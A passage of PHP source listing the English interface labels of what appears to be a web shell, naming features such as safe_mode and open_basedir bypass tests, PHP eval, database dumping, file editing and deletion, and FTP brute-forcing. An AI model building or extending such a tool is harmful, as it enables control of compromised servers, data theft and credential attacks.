'eng_text23'=>'Local port',

'eng_text24'=>'Remote host',

'eng_text25'=>'Remote port',

'eng_text26'=>'Use',

'eng_butt5' =>'Run',

'eng_text28'=>'Work in safe_mode',

'eng_text29'=>'ACCESS DENIED',

'eng_butt6' =>'Change',

'eng_text30'=>'Cat file',

'eng_butt7' =>'Show',

'eng_text31'=>'File not found',

'eng_text32'=>'Eval PHP code',

'eng_text33'=>'Test bypass open_basedir with cURL functions',

'eng_butt8' =>'Test',

'eng_text34'=>'Test bypass safe_mode with include function',

'eng_text35'=>'Test bypass safe_mode with load file in mysql',

'eng_text36'=>'Database . Table',

'eng_text37'=>'Login',

'eng_text38'=>'Password',

'eng_text39'=>'Database',

'eng_text40'=>'Dump database table',

'eng_butt9' =>'Dump',

'eng_text41'=>'Save dump in file',

'eng_text42'=>'Edit files',

'eng_text43'=>'File for edit',

'eng_butt10'=>'Save',

'eng_text44'=>'Can\'t edit file! Only read access!',

'eng_text45'=>'File saved',

'eng_text46'=>'Show phpinfo()',

'eng_text47'=>'Show variables from php.ini',

'eng_text48'=>'Delete temp files',

'eng_butt11'=>'Edit file',

'eng_text49'=>'Delete script from server',

'eng_text50'=>'View cpu info',

'eng_text51'=>'View memory info',

'eng_text52'=>'Find text',

'eng_text53'=>'In dirs',

'eng_text54'=>'Find text in files',

'eng_butt12'=>'Find',

'eng_text55'=>'Only in files',

'eng_text56'=>'Nothing :(',

'eng_text57'=>'Create/Delete File/Dir',

'eng_text58'=>'name',

'eng_text59'=>'file',

'eng_text60'=>'dir',

'eng_butt13'=>'Create/Delete',

'eng_text61'=>'File created',

'eng_text62'=>'Dir created',

'eng_text63'=>'File deleted',

'eng_text64'=>'Dir deleted',

'eng_text65'=>'Create',

'eng_text66'=>'Delete',

'eng_text67'=>'Chown/Chgrp/Chmod',

'eng_text68'=>'Command',

'eng_text69'=>'param1',

'eng_text70'=>'param2',

'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",

'eng_text72'=>'Text for find',

'eng_text73'=>'Find in folder',

'eng_text74'=>'Find in files',

'eng_text75'=>'* you can use regexp',

'eng_text76'=>'Search text in files via find',

'eng_text80'=>'Type',

'eng_text81'=>'Net',

'eng_text82'=>'Databases',

'eng_text83'=>'Run SQL query',

'eng_text84'=>'SQL query',

'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',

'eng_text86'=>'Download files from server',

'eng_butt14'=>'Download',

'eng_text87'=>'Download files from remote ftp-server',

'eng_text88'=>'FTP-server:port',

'eng_text89'=>'File on ftp',

'eng_text90'=>'Transfer mode',

'eng_text91'=>'Archivation',

'eng_text92'=>'without archivation',

'eng_text93'=>'FTP',

'eng_text94'=>'FTP-bruteforce',

'eng_text95'=>'Users list',

'eng_text96'=>'Can\'t get users list',

'eng_text97'=>'checked: ',

'eng_text98'=>'success: ',